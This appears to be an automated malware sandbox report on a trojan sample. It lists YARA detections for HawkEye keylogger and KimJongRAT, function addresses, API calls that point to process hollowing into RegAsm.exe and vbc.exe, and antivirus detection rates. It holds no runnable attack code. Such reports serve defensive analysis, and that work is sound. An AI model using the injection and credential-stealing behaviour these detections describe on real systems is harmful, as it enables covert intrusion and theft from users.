Source: 19.0.vbc.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: APT_NK_BabyShark_KimJoingRAT_Apr19_1 date = 2019-04-27, hash1 = d50a0980da6297b8e4cec5db0a8773635cee74ac6f5c1ff18197dfba549f6712, author = Florian Roth, description = Detects BabyShark KimJongRAT, reference = https://unit42.paloaltonetworks.com/babyshark-malware-part-two-attacks-continue-using-kimjongrat-and-pcrat/
Source: 19.0.vbc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: APT_NK_BabyShark_KimJoingRAT_Apr19_1 date = 2019-04-27, hash1 = d50a0980da6297b8e4cec5db0a8773635cee74ac6f5c1ff18197dfba549f6712, author = Florian Roth, description = Detects BabyShark KimJongRAT, reference = https://unit42.paloaltonetworks.com/babyshark-malware-part-two-attacks-continue-using-kimjongrat-and-pcrat/
Source: 19.0.vbc.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: APT_NK_BabyShark_KimJoingRAT_Apr19_1 date = 2019-04-27, hash1 = d50a0980da6297b8e4cec5db0a8773635cee74ac6f5c1ff18197dfba549f6712, author = Florian Roth, description = Detects BabyShark KimJongRAT, reference = https://unit42.paloaltonetworks.com/babyshark-malware-part-two-attacks-continue-using-kimjongrat-and-pcrat/
Source: 19.0.vbc.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: APT_NK_BabyShark_KimJoingRAT_Apr19_1 date = 2019-04-27, hash1 = d50a0980da6297b8e4cec5db0a8773635cee74ac6f5c1ff18197dfba549f6712, author = Florian Roth, description = Detects BabyShark KimJongRAT, reference = https://unit42.paloaltonetworks.com/babyshark-malware-part-two-attacks-continue-using-kimjongrat-and-pcrat/
Source: 19.2.vbc.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: APT_NK_BabyShark_KimJoingRAT_Apr19_1 date = 2019-04-27, hash1 = d50a0980da6297b8e4cec5db0a8773635cee74ac6f5c1ff18197dfba549f6712, author = Florian Roth, description = Detects BabyShark KimJongRAT, reference = https://unit42.paloaltonetworks.com/babyshark-malware-part-two-attacks-continue-using-kimjongrat-and-pcrat/
Source: 1.3.RegAsm.exe.4a435a8.2.raw.unpack, type: UNPACKEDPE	Matched rule: APT_NK_BabyShark_KimJoingRAT_Apr19_1 date = 2019-04-27, hash1 = d50a0980da6297b8e4cec5db0a8773635cee74ac6f5c1ff18197dfba549f6712, author = Florian Roth, description = Detects BabyShark KimJongRAT, reference = https://unit42.paloaltonetworks.com/babyshark-malware-part-two-attacks-continue-using-kimjongrat-and-pcrat/
Source: 19.2.vbc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: APT_NK_BabyShark_KimJoingRAT_Apr19_1 date = 2019-04-27, hash1 = d50a0980da6297b8e4cec5db0a8773635cee74ac6f5c1ff18197dfba549f6712, author = Florian Roth, description = Detects BabyShark KimJongRAT, reference = https://unit42.paloaltonetworks.com/babyshark-malware-part-two-attacks-continue-using-kimjongrat-and-pcrat/
Source: 1.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_HawkEye_Keylogger_Gen_Dec18 date = 2018-12-10, hash1 = b8693e015660d7bd791356b352789b43bf932793457d54beae351cf7a3de4dad, author = Florian Roth, description = Detects HawkEye Keylogger Reborn, reference = https://twitter.com/James_inthe_box/status/1072116224652324870
Source: 1.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_NET_NAME_ConfuserEx author = Arnim Rupp, description = Detects ConfuserEx packed file, reference = https://github.com/yck1509/ConfuserEx, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = 2021-01-22, modified = 2021-01-25
Source: 1.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: HawkEyev9 author = ditekshen, description = HawkEye v9 Payload, cape_type = HawkEyev9 Payload
Source: 1.0.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_HawkEye_Keylogger_Gen_Dec18 date = 2018-12-10, hash1 = b8693e015660d7bd791356b352789b43bf932793457d54beae351cf7a3de4dad, author = Florian Roth, description = Detects HawkEye Keylogger Reborn, reference = https://twitter.com/James_inthe_box/status/1072116224652324870
Source: 1.0.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_NET_NAME_ConfuserEx author = Arnim Rupp, description = Detects ConfuserEx packed file, reference = https://github.com/yck1509/ConfuserEx, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = 2021-01-22, modified = 2021-01-25
Source: 1.0.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: HawkEyev9 author = ditekshen, description = HawkEye v9 Payload, cape_type = HawkEyev9 Payload
Source: 1.2.RegAsm.exe.51d0000.2.raw.unpack, type: UNPACKEDPE	Matched rule: APT_NK_BabyShark_KimJoingRAT_Apr19_1 date = 2019-04-27, hash1 = d50a0980da6297b8e4cec5db0a8773635cee74ac6f5c1ff18197dfba549f6712, author = Florian Roth, description = Detects BabyShark KimJongRAT, reference = https://unit42.paloaltonetworks.com/babyshark-malware-part-two-attacks-continue-using-kimjongrat-and-pcrat/
Source: 1.2.RegAsm.exe.51d0345.1.raw.unpack, type: UNPACKEDPE	Matched rule: APT_NK_BabyShark_KimJoingRAT_Apr19_1 date = 2019-04-27, hash1 = d50a0980da6297b8e4cec5db0a8773635cee74ac6f5c1ff18197dfba549f6712, author = Florian Roth, description = Detects BabyShark KimJongRAT, reference = https://unit42.paloaltonetworks.com/babyshark-malware-part-two-attacks-continue-using-kimjongrat-and-pcrat/
Source: 1.2.RegAsm.exe.522834a.3.unpack, type: UNPACKEDPE	Matched rule: APT_NK_BabyShark_KimJoingRAT_Apr19_1 date = 2019-04-27, hash1 = d50a0980da6297b8e4cec5db0a8773635cee74ac6f5c1ff18197dfba549f6712, author = Florian Roth, description = Detects BabyShark KimJongRAT, reference = https://unit42.paloaltonetworks.com/babyshark-malware-part-two-attacks-continue-using-kimjongrat-and-pcrat/
Source: 19.0.vbc.exe.400000.3.unpack, type: UNPACKEDPE	Matched rule: APT_NK_BabyShark_KimJoingRAT_Apr19_1 date = 2019-04-27, hash1 = d50a0980da6297b8e4cec5db0a8773635cee74ac6f5c1ff18197dfba549f6712, author = Florian Roth, description = Detects BabyShark KimJongRAT, reference = https://unit42.paloaltonetworks.com/babyshark-malware-part-two-attacks-continue-using-kimjongrat-and-pcrat/
Source: 1.2.RegAsm.exe.6d55bd0.5.raw.unpack, type: UNPACKEDPE	Matched rule: APT_NK_BabyShark_KimJoingRAT_Apr19_1 date = 2019-04-27, hash1 = d50a0980da6297b8e4cec5db0a8773635cee74ac6f5c1ff18197dfba549f6712, author = Florian Roth, description = Detects BabyShark KimJongRAT, reference = https://unit42.paloaltonetworks.com/babyshark-malware-part-two-attacks-continue-using-kimjongrat-and-pcrat/
Source: 0.3.SecuriteInfo.com.Trojan.AutoIt.316.10986.exe.ff0000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_HawkEye_Keylogger_Gen_Dec18 date = 2018-12-10, hash1 = b8693e015660d7bd791356b352789b43bf932793457d54beae351cf7a3de4dad, author = Florian Roth, description = Detects HawkEye Keylogger Reborn, reference = https://twitter.com/James_inthe_box/status/1072116224652324870
Source: 0.3.SecuriteInfo.com.Trojan.AutoIt.316.10986.exe.ff0000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_NET_NAME_ConfuserEx author = Arnim Rupp, description = Detects ConfuserEx packed file, reference = https://github.com/yck1509/ConfuserEx, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = 2021-01-22, modified = 2021-01-25
Source: 0.3.SecuriteInfo.com.Trojan.AutoIt.316.10986.exe.ff0000.0.unpack, type: UNPACKEDPE	Matched rule: HawkEyev9 author = ditekshen, description = HawkEye v9 Payload, cape_type = HawkEyev9 Payload
Source: 19.0.vbc.exe.400000.5.raw.unpack, type: UNPACKEDPE	Matched rule: APT_NK_BabyShark_KimJoingRAT_Apr19_1 date = 2019-04-27, hash1 = d50a0980da6297b8e4cec5db0a8773635cee74ac6f5c1ff18197dfba549f6712, author = Florian Roth, description = Detects BabyShark KimJongRAT, reference = https://unit42.paloaltonetworks.com/babyshark-malware-part-two-attacks-continue-using-kimjongrat-and-pcrat/
Source: 19.0.vbc.exe.400000.4.raw.unpack, type: UNPACKEDPE	Matched rule: APT_NK_BabyShark_KimJoingRAT_Apr19_1 date = 2019-04-27, hash1 = d50a0980da6297b8e4cec5db0a8773635cee74ac6f5c1ff18197dfba549f6712, author = Florian Roth, description = Detects BabyShark KimJongRAT, reference = https://unit42.paloaltonetworks.com/babyshark-malware-part-two-attacks-continue-using-kimjongrat-and-pcrat/
Source: 1.2.RegAsm.exe.6df1c10.4.unpack, type: UNPACKEDPE	Matched rule: APT_NK_BabyShark_KimJoingRAT_Apr19_1 date = 2019-04-27, hash1 = d50a0980da6297b8e4cec5db0a8773635cee74ac6f5c1ff18197dfba549f6712, author = Florian Roth, description = Detects BabyShark KimJongRAT, reference = https://unit42.paloaltonetworks.com/babyshark-malware-part-two-attacks-continue-using-kimjongrat-and-pcrat/
Source: 1.2.RegAsm.exe.6df1c10.4.raw.unpack, type: UNPACKEDPE	Matched rule: APT_NK_BabyShark_KimJoingRAT_Apr19_1 date = 2019-04-27, hash1 = d50a0980da6297b8e4cec5db0a8773635cee74ac6f5c1ff18197dfba549f6712, author = Florian Roth, description = Detects BabyShark KimJongRAT, reference = https://unit42.paloaltonetworks.com/babyshark-malware-part-two-attacks-continue-using-kimjongrat-and-pcrat/
Source: 1.3.RegAsm.exe.4a438ed.1.raw.unpack, type: UNPACKEDPE	Matched rule: APT_NK_BabyShark_KimJoingRAT_Apr19_1 date = 2019-04-27, hash1 = d50a0980da6297b8e4cec5db0a8773635cee74ac6f5c1ff18197dfba549f6712, author = Florian Roth, description = Detects BabyShark KimJongRAT, reference = https://unit42.paloaltonetworks.com/babyshark-malware-part-two-attacks-continue-using-kimjongrat-and-pcrat/
Source: 1.0.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: MAL_HawkEye_Keylogger_Gen_Dec18 date = 2018-12-10, hash1 = b8693e015660d7bd791356b352789b43bf932793457d54beae351cf7a3de4dad, author = Florian Roth, description = Detects HawkEye Keylogger Reborn, reference = https://twitter.com/James_inthe_box/status/1072116224652324870
Source: 1.0.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: SUSP_NET_NAME_ConfuserEx author = Arnim Rupp, description = Detects ConfuserEx packed file, reference = https://github.com/yck1509/ConfuserEx, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = 2021-01-22, modified = 2021-01-25
Source: 1.0.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: HawkEyev9 author = ditekshen, description = HawkEye v9 Payload, cape_type = HawkEyev9 Payload
Source: 1.2.RegAsm.exe.51d0000.2.unpack, type: UNPACKEDPE	Matched rule: APT_NK_BabyShark_KimJoingRAT_Apr19_1 date = 2019-04-27, hash1 = d50a0980da6297b8e4cec5db0a8773635cee74ac6f5c1ff18197dfba549f6712, author = Florian Roth, description = Detects BabyShark KimJongRAT, reference = https://unit42.paloaltonetworks.com/babyshark-malware-part-two-attacks-continue-using-kimjongrat-and-pcrat/
Source: 00000013.00000000.401565016.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: APT_NK_BabyShark_KimJoingRAT_Apr19_1 date = 2019-04-27, hash1 = d50a0980da6297b8e4cec5db0a8773635cee74ac6f5c1ff18197dfba549f6712, author = Florian Roth, description = Detects BabyShark KimJongRAT, reference = https://unit42.paloaltonetworks.com/babyshark-malware-part-two-attacks-continue-using-kimjongrat-and-pcrat/
Source: 00000000.00000003.248337037.0000000000FF0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: MAL_HawkEye_Keylogger_Gen_Dec18 date = 2018-12-10, hash1 = b8693e015660d7bd791356b352789b43bf932793457d54beae351cf7a3de4dad, author = Florian Roth, description = Detects HawkEye Keylogger Reborn, reference = https://twitter.com/James_inthe_box/status/1072116224652324870
Source: 00000013.00000000.401266886.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: APT_NK_BabyShark_KimJoingRAT_Apr19_1 date = 2019-04-27, hash1 = d50a0980da6297b8e4cec5db0a8773635cee74ac6f5c1ff18197dfba549f6712, author = Florian Roth, description = Detects BabyShark KimJongRAT, reference = https://unit42.paloaltonetworks.com/babyshark-malware-part-two-attacks-continue-using-kimjongrat-and-pcrat/
Source: 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: APT_NK_BabyShark_KimJoingRAT_Apr19_1 date = 2019-04-27, hash1 = d50a0980da6297b8e4cec5db0a8773635cee74ac6f5c1ff18197dfba549f6712, author = Florian Roth, description = Detects BabyShark KimJongRAT, reference = https://unit42.paloaltonetworks.com/babyshark-malware-part-two-attacks-continue-using-kimjongrat-and-pcrat/
Source: 00000013.00000000.401896100.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: APT_NK_BabyShark_KimJoingRAT_Apr19_1 date = 2019-04-27, hash1 = d50a0980da6297b8e4cec5db0a8773635cee74ac6f5c1ff18197dfba549f6712, author = Florian Roth, description = Detects BabyShark KimJongRAT, reference = https://unit42.paloaltonetworks.com/babyshark-malware-part-two-attacks-continue-using-kimjongrat-and-pcrat/
Source: 00000001.00000000.252098069.0000000000402000.00000020.00000001.sdmp, type: MEMORY	Matched rule: MAL_HawkEye_Keylogger_Gen_Dec18 date = 2018-12-10, hash1 = b8693e015660d7bd791356b352789b43bf932793457d54beae351cf7a3de4dad, author = Florian Roth, description = Detects HawkEye Keylogger Reborn, reference = https://twitter.com/James_inthe_box/status/1072116224652324870
Source: 00000013.00000000.402276978.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: APT_NK_BabyShark_KimJoingRAT_Apr19_1 date = 2019-04-27, hash1 = d50a0980da6297b8e4cec5db0a8773635cee74ac6f5c1ff18197dfba549f6712, author = Florian Roth, description = Detects BabyShark KimJongRAT, reference = https://unit42.paloaltonetworks.com/babyshark-malware-part-two-attacks-continue-using-kimjongrat-and-pcrat/
Source: 00000001.00000002.516270179.00000000031E9000.00000004.00000001.sdmp, type: MEMORY	Matched rule: MAL_HawkEye_Keylogger_Gen_Dec18 date = 2018-12-10, hash1 = b8693e015660d7bd791356b352789b43bf932793457d54beae351cf7a3de4dad, author = Florian Roth, description = Detects HawkEye Keylogger Reborn, reference = https://twitter.com/James_inthe_box/status/1072116224652324870
Source: 00000001.00000000.251237840.0000000000402000.00000040.00000001.sdmp, type: MEMORY	Matched rule: MAL_HawkEye_Keylogger_Gen_Dec18 date = 2018-12-10, hash1 = b8693e015660d7bd791356b352789b43bf932793457d54beae351cf7a3de4dad, author = Florian Roth, description = Detects HawkEye Keylogger Reborn, reference = https://twitter.com/James_inthe_box/status/1072116224652324870
Source: 00000000.00000003.251645855.0000000000FF2000.00000040.00000001.sdmp, type: MEMORY	Matched rule: MAL_HawkEye_Keylogger_Gen_Dec18 date = 2018-12-10, hash1 = b8693e015660d7bd791356b352789b43bf932793457d54beae351cf7a3de4dad, author = Florian Roth, description = Detects HawkEye Keylogger Reborn, reference = https://twitter.com/James_inthe_box/status/1072116224652324870
Source: 00000001.00000002.514267996.0000000000402000.00000020.00000001.sdmp, type: MEMORY	Matched rule: MAL_HawkEye_Keylogger_Gen_Dec18 date = 2018-12-10, hash1 = b8693e015660d7bd791356b352789b43bf932793457d54beae351cf7a3de4dad, author = Florian Roth, description = Detects HawkEye Keylogger Reborn, reference = https://twitter.com/James_inthe_box/status/1072116224652324870
Source: 00000001.00000002.518879964.00000000051D0000.00000004.00020000.sdmp, type: MEMORY	Matched rule: APT_NK_BabyShark_KimJoingRAT_Apr19_1 date = 2019-04-27, hash1 = d50a0980da6297b8e4cec5db0a8773635cee74ac6f5c1ff18197dfba549f6712, author = Florian Roth, description = Detects BabyShark KimJongRAT, reference = https://unit42.paloaltonetworks.com/babyshark-malware-part-two-attacks-continue-using-kimjongrat-and-pcrat/
Source: Process Memory Space: SecuriteInfo.com.Trojan.AutoIt.316.10986.exe PID: 4720, type: MEMORYSTR	Matched rule: MAL_HawkEye_Keylogger_Gen_Dec18 date = 2018-12-10, hash1 = b8693e015660d7bd791356b352789b43bf932793457d54beae351cf7a3de4dad, author = Florian Roth, description = Detects HawkEye Keylogger Reborn, reference = https://twitter.com/James_inthe_box/status/1072116224652324870
Source: Process Memory Space: RegAsm.exe PID: 5908, type: MEMORYSTR	Matched rule: MAL_HawkEye_Keylogger_Gen_Dec18 date = 2018-12-10, hash1 = b8693e015660d7bd791356b352789b43bf932793457d54beae351cf7a3de4dad, author = Florian Roth, description = Detects HawkEye Keylogger Reborn, reference = https://twitter.com/James_inthe_box/status/1072116224652324870

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.AutoIt.316.10986.exe	Code function: 0_2_00D0E060	0_2_00D0E060
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.AutoIt.316.10986.exe	Code function: 0_2_00D0E800	0_2_00D0E800
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.AutoIt.316.10986.exe	Code function: 0_2_00D0FE40	0_2_00D0FE40
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.AutoIt.316.10986.exe	Code function: 0_2_00D16843	0_2_00D16843
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.AutoIt.316.10986.exe	Code function: 0_2_00D8804A	0_2_00D8804A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.AutoIt.316.10986.exe	Code function: 0_2_00D37006	0_2_00D37006
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.AutoIt.316.10986.exe	Code function: 0_2_00D1710E	0_2_00D1710E
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.AutoIt.316.10986.exe	Code function: 0_2_00D36522	0_2_00D36522
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.AutoIt.316.10986.exe	Code function: 0_2_00D216C4	0_2_00D216C4
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.AutoIt.316.10986.exe	Code function: 0_2_00D01287	0_2_00D01287
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.AutoIt.316.10986.exe	Code function: 0_2_00D18A0E	0_2_00D18A0E
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.AutoIt.316.10986.exe	Code function: 0_2_00D2BFE6	0_2_00D2BFE6
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.AutoIt.316.10986.exe	Code function: 0_2_00D2DBB5	0_2_00D2DBB5
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 1_2_02E634D0	1_2_02E634D0
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 1_2_02E60801	1_2_02E60801
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 1_2_02E6A1E3	1_2_02E6A1E3
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 1_2_02E65588	1_2_02E65588
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 1_2_02E68B90	1_2_02E68B90
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 1_2_02E64998	1_2_02E64998
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 1_2_02E6A798	1_2_02E6A798
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 1_2_02E61D2A	1_2_02E61D2A
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 1_2_02E67F10	1_2_02E67F10
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 1_2_02E67518	1_2_02E67518
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 1_2_02E638B7	1_2_02E638B7
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 1_2_02E63AB4	1_2_02E63AB4
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 1_2_02E608B0	1_2_02E608B0
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 1_2_02E65880	1_2_02E65880
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 1_2_02E6388B	1_2_02E6388B
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 1_2_02E65890	1_2_02E65890
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 1_2_02E6369C	1_2_02E6369C
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 1_2_02E63868	1_2_02E63868
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 1_2_02E63A77	1_2_02E63A77
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 1_2_02E63671	1_2_02E63671
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 1_2_02E66A23	1_2_02E66A23
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 1_2_02E63A3A	1_2_02E63A3A
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 1_2_02E68439	1_2_02E68439
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 1_2_02E63C00	1_2_02E63C00
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 1_2_02E63E00	1_2_02E63E00
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 1_2_02E60816	1_2_02E60816
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 1_2_02E63217	1_2_02E63217
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 1_2_02E6361B	1_2_02E6361B
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 1_2_02E63218	1_2_02E63218
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 1_2_02E637FA	1_2_02E637FA
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 1_2_02E645C0	1_2_02E645C0
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 1_2_02E639DA	1_2_02E639DA
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 1_2_02E641D8	1_2_02E641D8
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 1_2_02E64DA1	1_2_02E64DA1
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 1_2_02E64DB0	1_2_02E64DB0
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 1_2_02E637B8	1_2_02E637B8
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 1_2_02E63B85	1_2_02E63B85
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 1_2_02E63580	1_2_02E63580
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 1_2_02E68B80	1_2_02E68B80
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 1_2_02E63B62	1_2_02E63B62
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 1_2_02E65768	1_2_02E65768
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 1_2_02E63777	1_2_02E63777
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 1_2_02E63744	1_2_02E63744
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 1_2_02E62721	1_2_02E62721
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 1_2_02E62730	1_2_02E62730
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 1_2_02E66D30	1_2_02E66D30
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 1_2_02E67F00	1_2_02E67F00
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 1_2_02E63B0F	1_2_02E63B0F
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 1_2_02E6390D	1_2_02E6390D
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 1_2_02E67508	1_2_02E67508
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 1_2_02E63711	1_2_02E63711
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: 3_2_0044900F	3_2_0044900F
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: 3_2_004042EB	3_2_004042EB
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: 3_2_00414281	3_2_00414281
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: 3_2_00410291	3_2_00410291
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: 3_2_004063BB	3_2_004063BB
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: 3_2_00415624	3_2_00415624
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: 3_2_0041668D	3_2_0041668D
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: 3_2_0040477F	3_2_0040477F
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: 3_2_0040487C	3_2_0040487C
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: 3_2_0043589B	3_2_0043589B
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: 3_2_0043BA9D	3_2_0043BA9D
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: 3_2_0043FBD3	3_2_0043FBD3
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: 19_2_00404DE5	19_2_00404DE5
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: 19_2_00404E56	19_2_00404E56
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: 19_2_00404EC7	19_2_00404EC7
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: 19_2_00404F58	19_2_00404F58
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: 19_2_0040BF6B	19_2_0040BF6B

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: String function: 00415F19 appears 34 times
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: String function: 0044468C appears 36 times
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: String function: 004162C2 appears 87 times
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: String function: 00412084 appears 39 times
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: String function: 00444B90 appears 36 times
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: String function: 0041607A appears 66 times
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: String function: 004083D6 appears 32 times

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 1_2_02E6ACC8 NtUnmapViewOfSection,NtUnmapViewOfSection,		1_2_02E6ACC8
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: 3_2_0040978A memset,CreateFileW,NtQuerySystemInformation,NtQuerySystemInformation,FindCloseChangeNotification,GetCurrentProcessId,_wcsicmp,_wcsicmp,_wcsicmp,OpenProcess,GetCurrentProcess,DuplicateHandle,memset,NtQueryObject,CloseHandle,_wcsicmp,CloseHandle,		3_2_0040978A

Source: SecuriteInfo.com.Trojan.AutoIt.316.10986.exe, 00000000.00000003.248337037.0000000000FF0000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameReborn Stub.exe" vs SecuriteInfo.com.Trojan.AutoIt.316.10986.exe
Source: SecuriteInfo.com.Trojan.AutoIt.316.10986.exe, 00000000.00000003.251645855.0000000000FF2000.00000040.00000001.sdmp	Binary or memory string: OriginalFilenameReborn Stub.exe" vs SecuriteInfo.com.Trojan.AutoIt.316.10986.exe

Source: SecuriteInfo.com.Trojan.AutoIt.316.10986.exe

Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe

Section loaded: sfc.dll

Jump to behavior

Source: SecuriteInfo.com.Trojan.AutoIt.316.10986.exe	Virustotal: Detection: 69%
Source: SecuriteInfo.com.Trojan.AutoIt.316.10986.exe	ReversingLabs: Detection: 77%

